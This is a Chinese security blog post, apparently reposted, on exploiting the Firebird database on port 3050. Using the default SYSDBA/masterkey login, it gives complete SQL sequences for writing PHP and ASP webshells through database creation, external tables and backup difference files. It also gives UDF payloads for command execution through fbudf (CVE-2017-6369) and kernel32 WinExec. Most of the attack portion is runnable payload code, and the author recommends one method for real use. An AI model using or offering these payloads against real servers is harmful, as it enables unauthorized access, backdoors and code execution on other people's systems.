在一次端口探测中,发现了3050端口,第一时间没想到是什么服务在运行,查了查,居然是冷门的Firebird。
翻看了网上的资料,几乎没有。在国外看到一个汇总贴,但里面存在几处报错情况,作者却以某些情况下可能会执行成功,一笔带过了,而报错原因就在官方文档写着,属于某些较新版本的安全调整。
Firebird实在是冷门,在某友人鼓励下,遂有此文。
Firebird是一个跨平台的关系数据库系统,目前能够运行在Windows、linux和各种Unix操作系统上,提供了大部分SQL-99标准的功能。它既能作为多用户环境下的数据库服务器运行,也提供嵌入式数据库的实现。
Firebird脱胎于Borland公司的开源版数据库Interbase6.0,是一个完全非商业化的产品,用C和C++开发。由于与interbase的血缘关系,大部分interbase的开发工具可以直接应用到Firebird开发中。Firebird使用MozillaPublic License v.1.1许可证发行。
一个Firebird数据库服务器能够管理多个独立的数据库,每一个数据库同时可支持多个客户端连接。
准备环境和工具:
安装Firebird,我选择在Windows Server 2019安装了Firebird服务端。
“http://firebirdsql.org/en/firebird-3-0-7/”
靶机IP:10.211.55.5 ,部署好以后重启,会默认开放3050端口。
sudo apt-get -y install firebird3.0-utils
也可以试试跨平台的图形化工具flamerobin。
“https://github.com/mariuz/flamerobin/releases”
安装过程中,默认以SuperServer模式运行,如果一直按Next,注意看英文小字,不输入用户名和密码,默认用户名就是SYSDBA,默认密码masterkey。
创建或者第一次连接数据库的同时,必须使用该用户名以及密码来实现访问,否则会报错。具体命令如下:
SQL>createdatabase '[新建数据库的路径以及名称,后缀名称为.FDB]'user 'sysdba' password 'masterkey';
需要说明的是,一条命令一定是以“;”结束的。否则会在下一行显示“CON>”,即继续之前的命令。
“https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html”
介绍一下Firebird写webshell的3种姿势。
常规的SQL语句写webshell
这一种方法通用性最好,可以在足够权限的路径下,创建任意后缀的文件。但缺点就是生成的webshell体积大,创建简单的一句话木马,大小就超过1Mb,有许多数据库写入的脏字符。
如果你的webshell代码特别多,选用下文的第三种方法。执行完几行SQL语句,最后要EXIT才会成功写入文件。
CREATEDATABASE '10.211.55.5/3050:C:\webroot\shell.php' user 'SYSDBA'password 'masterkey';
CREATETABLE a ( x BLOB);
INSERTINTO a VALUES ('<?php eval(@$_POST["pass"]);?>');
COMMIT;
EXIT;
外部表写webshell
先创建一个不存在的数据库文件,然后创建外部表。外部表就是我们的webshell,再对其写入内容,但是由于firebird.conf的默认安全配置,写入被阻止了。
CREATEDATABASE '10.211.55.5/3050:C:\non-existent-file' user 'SYSDBA'password 'masterkey';
CREATETABLE a EXTERNAL 'C:\wwwroot\mytest.asp' ( x char(2000));
INSERTINTO a values ('<%= date() %>');
不推荐实战使用,非默认配置才能成功,需要管理员修改配置文件firebird.conf,参考官方文档说明:
“https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external”
增量写shell
先创建一个不存在的数据库文件,再创建额外的增量文件,执行备份,写入webshell内容,这种方法在最新的Firebird测试下有效,虽然还有脏字符,但是生成的webshell文件只有64KB,能正常执行,推荐采用这种方式提权。
CREATEDATABASE '10.211.55.5/3050:C:\temp\non-existent-file' user 'SYSDBA'password 'masterkey';
CREATETABLE a( x blob);
ALTERDATABASE ADD DIFFERENCE FILE 'C:\webroot\shellC.php';
ALTERDATABASE BEGIN BACKUP;
INSERTINTO a VALUES ('<?php eval(@$_POST["pass"]);?>');
COMMIT;
EXIT;
Linux的UDF提权CVE-2017-6369这个漏洞,影响范围Firebird2.5.x< 2.5.7 和3.0.x <3.0.2,该漏洞是由于默认安全配置是”UdfAccess= Restrict UDF“,允许任意权限的数据库用户通过调用fbudf.so执行代码。攻击代码如下:
SQL>DECLARE EXTERNAL FUNCTION exec cstring(4096) RETURNS integer BY VALUEENTRY_POINT 'system' MODULE_NAME 'fbudf';
SQL>SELECT FIRST 1 exec('<COMMAND>') FROM any_table LIMIT 1;
windows的UDF提权
对应的windows的UDF提权攻击代码如下,在新版本中被限制了:
CREATEDATABASE '10.211.55.5/3050:C:\temp\non-existent-file1' user 'SYSDBA'password 'masterkey';
DECLAREEXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BYVALUE ENTRY_POINT 'WinExec' MODULE_NAME'c:\windows\system32\kernel32.dll';
SELECTFIRST 1 EXEC('<COMMAND>', 1) FROM any_table LIMIT 1;
“https://firebirdsql.org/rlsnotesh/config-fb-conf.html”
亲测了一下,可以调用Firebird安装目录UDF文件夹的dll文件,比如:
C:\ProgramFiles\Firebird\Firebird30\UDF\fbudf.dll
Firebird的安全防范手段和高版本的MYSQL一样,要完成UDF提权,就要配合其他漏洞了。
本文主要介绍了Firebird数据库提权,包括3种SQL语句写webshell的姿势,以及不同平台下的UDF提权。其他的RCE漏洞可以参考metasploit攻击模块,但是都挺有年代感了。
“https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html”
“https://www.infosecmatter.com/firebird-database-exploitation/”
“https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external”
“http://tracker.firebirdsql.org/browse/CORE-5474”
转自:酒仙桥六号部队